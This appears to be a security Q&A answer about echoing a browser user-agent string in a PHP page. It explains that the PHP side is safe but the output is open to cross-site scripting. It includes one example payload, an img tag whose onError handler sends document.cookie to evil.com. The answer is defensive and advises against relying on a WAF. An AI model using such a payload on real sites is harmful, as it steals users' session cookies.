You are correct that you do no need to worry about PHP code being injected. The
echo command just echoes stuff - it does not execute it.
The JS is more problematic, though. Your code may be vulnerable to XSS. The client controls the user agent, and the attacker controls the client. You are giving an attacker the ability to inject arbitrary HTML and JS code into your webpage. Just use a user agent like this:
<img src="" onError="window.location='https://evil.com?'+document.cookie">
There is one big problem for the attacker: While it's easy to change your own user agent, you can't really change someone elses. So it's not obvious how you would hack anyone but yourself with this - it's a quite advanced form of self-XSS. If you are storing and then displaying other users user-agents (e.g. from logs) you have a much bigger danger. But that is not the case with your simple script.
So why doesn't that work for you? It looks like your attack gets blocked by some kind of WAF or similar. Thats great, but don't write bad code in the hope that your WAF will protect you! A WAF will not protect you against everything. And who knows where your code will run in the future and if there will even be a WAF there...